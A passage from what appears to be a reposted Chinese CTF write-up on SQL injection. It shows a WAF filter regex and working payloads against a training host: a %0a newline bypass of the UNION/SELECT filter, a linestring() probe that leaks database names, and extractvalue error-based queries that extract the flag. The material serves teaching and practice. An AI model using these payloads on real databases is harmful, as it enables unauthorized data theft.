      $filter = "/[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)/i"; 
      
    2. 仔细观察正则看似复杂,其实只是过滤了 union 、 select 、 from等单词边界,但并没有过滤“%0a”

    3. payload

      username=' union%0aselect 1,passwd,3,4%0afrom%0awaf03 -- -
      
  4. 新手法查询

    1. 关键源代码:

      [^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)
      
    2. 查数据库名

      1.  在当前数据表中存在字段id
         使用 linestring ,如果我们传入的是存在的字段的话,就会爆出已知库、表、列。
         也就是说我们可以爆破列名,这样对应数据库名,表名就会出来
         ?id=' || linestring(id) -- -
        
    3. 查字段名

      1. payload

        http://kkl9stuamxybtxyh.ctfw.edu.sangfor.com.cn/?id=' || extractvalue(1,concat(0x7e,(select * from (select * from users as a join users as b using(id,password,username))as c limit 0,1)))%23
        
    4. 查数据

      1. payload

        http://kkl9stuamxybtxyh.ctfw.edu.sangfor.com.cn/?id=' || (extractvalue(1,concat(0x7e,(select b.flag from (select 1,2,3,flag from users limit 1) as b),0x7e))) -- -
        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1997218.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【python函数】读文件(返回str数据)

大家好&#xff0c;我是一名_全栈_测试开发工程师&#xff0c;已经开源一套【自动化测试框架】和【测试管理平台】&#xff0c;欢迎大家关注我&#xff0c;和我一起【分享测试知识&#xff0c;交流测试技术&#xff0c;趣聊行业热点】。 一、函数说明&#xff1a; 使用的函数&a…

STM32IIC与SPI详解

单片机里的通信协议其实蛮多的&#xff0c;IIC&#xff1b;SPI&#xff1b;MQTT&#xff1b;CAN&#xff1b;包括串口也是一种通信协议。而串口通信虽然实现了全双工&#xff0c;但需要至少三根线&#xff0c;为了节省这一根线的成本&#xff0c;于是IIC诞生了。 目录 一.IIC…

【产业前沿】树莓集团如何以数字媒体产业园为引擎,加速产业升级?

在数字化转型的浪潮中&#xff0c;树莓集团以敏锐的洞察力和前瞻性的战略眼光&#xff0c;将数字媒体产业园打造成为产业升级的强劲引擎。这一创新举措不仅为传统行业插上了数字的翅膀&#xff0c;更为整个产业链注入了新的活力与可能。 树莓集团深知&#xff0c;数字媒体产业园…

【人工智能】AI最终会取代程序员吗?

1. 前言 到 2030 年&#xff0c;40% 的编程任务将实现自动化。这个令人难以置信的统计数据凸显了人工智能在软件工程中日益增长的影响力&#xff0c;并引发了一个问题&#xff1a;人工智能会彻底接管软件工程吗&#xff1f; 人工智能技术正在蓬勃发展&#xff0c;有望实现大量…

【实战】Spring Security Oauth2自定义授权模式接入手机验证

文章目录 前言技术积累Oauth2简介Oauth2的四种模式授权码模式简化模式密码模式客户端模式自定义模式 实战演示1、mavan依赖引入2、自定义手机用户3、自定义手机用户信息获取服务4、自定义认证令牌5、自定义授权模式6、自定义实际认证提供者7、认证服务配置8、Oauth2配置9、资源…

C语言程序设计-[11] 循环结构嵌套

1、循环结构嵌套形式 上面三种循环语句结构可以相互嵌套&#xff0c;组合非常灵活。循环嵌套需要记住最重要的一点&#xff1a;”外循环执行一次&#xff0c;内循环要完整执行一遍”&#xff0c;要通过实例加深对这一句话的理解。 注1&#xff1a;一个循环结构由四个要素构成&…

Java设计模式-建造者模式-一次性理解透

1. 建造者模式简介 今天我们将研究 Java 中的建造者模式&#xff08;Builder 模式&#xff09;。Builder 设计模式是一种创建型设计模式&#xff0c;也被称为生成器模式&#xff0c;类似于工厂模式和抽象工厂模式。 该模式用于创建复杂对象&#xff0c;允许用户创建不同类型的…

【Python】PyWebIO 初体验:用 Python 写网页

目录 前言1 使用方法1.1 安装 Pywebio1.2 输出内容1.3 输入内容 2 示例程序2.1 BMI 计算器2.2 Markdown 编辑器2.3 聊天室2.4 五子棋 前言 前两天正在逛 Github&#xff0c;偶然看到一个很有意思的项目&#xff1a;PyWebIo。 这是一个 Python 第三方库&#xff0c;可以只用 P…

100 Exercises To Learn Rust 挑战!准备篇

公司内部的学习会非常活跃&#xff01;我也参与了Rust学习会&#xff0c;并且一直在研究rustlings。最近&#xff0c;我发现了一个类似于rustlings的新教程网站&#xff1a;Welcome - 100 Exercises To Learn Rust。 rustlings是基于Rust的权威官方文档《The Rust Programming…

汽车免拆诊断案例 | 2010款劳斯莱斯古斯特车中央信息显示屏提示传动系统故障

故障现象  一辆2010款劳斯莱斯古斯特车&#xff0c;搭载N74发动机&#xff0c;累计行驶里程约为11万km。车主反映&#xff0c;起动发动机后组合仪表和中央信息显示屏均提示传动系统故障。用故障检测仪检测&#xff0c;发现发动机控制模块2&#xff08;DME2&#xff09;中存储…

SmartBI拓展包二开入门开发

前言 新接到一个项目拓展包三开的需求&#xff0c;没有相关经验&#xff0c;学习开发&#xff0c;本文尝试通过简单的定位以及指导&#xff0c;确定修改点 SmartBI帮助文档-拓展包开发 登录 http://localhost:18080/smartbi/vision/index.jsp后台配置 上传拓展包&#xff0…

MySQL和Redis的数据一致性

MySQL和Redis的数据一致性 多线程环境下的涉及读写的缓存才会存在MySQL和Redis的数据不一致问题 先删除缓存再更新数据库再延时删除缓存 线程一删除缓存线程一更新数据线程二开始查数据如果第二步线程一更新数据延时&#xff0c;那么线程二会重新从数据库加载数据&#xff0…

超好用的windows系统工具PowerToys

文章目录 Github地址基本介绍使用 Github地址 PowerToys 基本介绍 是windows官方好用的工具箱&#xff0c;包括各种工具 使用 要带上win键 此工具安装后每次运行电脑自启动&#xff0c;桌面没有快捷方式&#xff0c;只能右下角 窗口在上效果演示&#xff0c;会被蓝线框到…

基于GeoTools使用JavaFx进行矢量数据可视化实战

目录 前言 一、JavaFx展示原理说明 二、GeoTools的Maven依赖问题 三、引入Geotools相关的资源包 四、创建JavaFx的Canvas实例 五、JavaFx的Scene和Node的绑定 六、总结 前言 众所周知&#xff0c;JavaFx是Java继Swing之后的又一款用于桌面应用的开发利器。当然&#xff0…

江科大/江协科技 STM32学习笔记P22

文章目录 AD单通道&AD多通道ADC基本结构和ADC有关的库函数AD单通道AD.cmain.c连续转换&#xff0c;非扫描模式的AD.c AD多通道AD.cmain.c AD单通道&AD多通道 ADC基本结构 第一步&#xff0c;开启RCC时钟&#xff0c;包括ADC和GPIO的时钟&#xff0c;ADCCLK的分频器也需…

openvidu私有化部署

openvidu私有化部署 简介 OpenVidu 是一个允许您实施实时应用程序的平台。您可以从头开始构建全新的 OpenVidu 应用程序&#xff0c;但将 OpenVidu 集成到您现有的应用程序中也非常容易。 OpenVidu 基于 WebRTC 技术&#xff0c;允许开发您可以想象的任何类型的用例&#xf…

回归预测|基于黏菌优化LightGBM的数据回归预测Matlab程序SMA-LightGBM 多特征输入单输出

回归预测|基于黏菌优化LightGBM的数据回归预测Matlab程序SMA-LightGBM 多特征输入单输出 文章目录 前言回归预测|基于黏菌优化LightGBM的数据回归预测Matlab程序 多特征输入单输出 SMA-LightGBM 一、SMA-LightGBM模型1. **LightGBM**2. **黏菌智能优化算法&#xff08;SMA&…

知识中台是什么?它如何实现高效知识管理?

引言 在信息化浪潮席卷全球的今天&#xff0c;企业面临的不仅是市场的激烈竞争&#xff0c;更是知识爆炸带来的管理挑战。如何在浩瀚的信息海洋中提炼出有价值的知识&#xff0c;并将其快速转化为企业的核心竞争力&#xff0c;成为了每个企业必须深思的问题。在此背景下&#…

二叉树的重要概念

前言&#xff1a; 二叉树是树形结构的一个重要类型&#xff0c;一般的树也可以转化成二叉树来解决问题。在数据结构的系统中&#xff0c;树形结构也是信息存储和遍历的重要实现&#xff0c;二叉树的最大特点就是一个根包含着左右子树的形式&#xff0c;许多具有层次关系的问题…

单元测试注解:@ContextConfiguration

ContextConfiguration注解 ContextConfiguration注解主要用于在‌Spring框架中加载和配置Spring上下文&#xff0c;特别是在测试场景中。 它允许开发者指定要加载的配置文件或配置类的位置&#xff0c;以便在运行时或测试时能够正确地构建和初始化Spring上下文。 基本用途和工…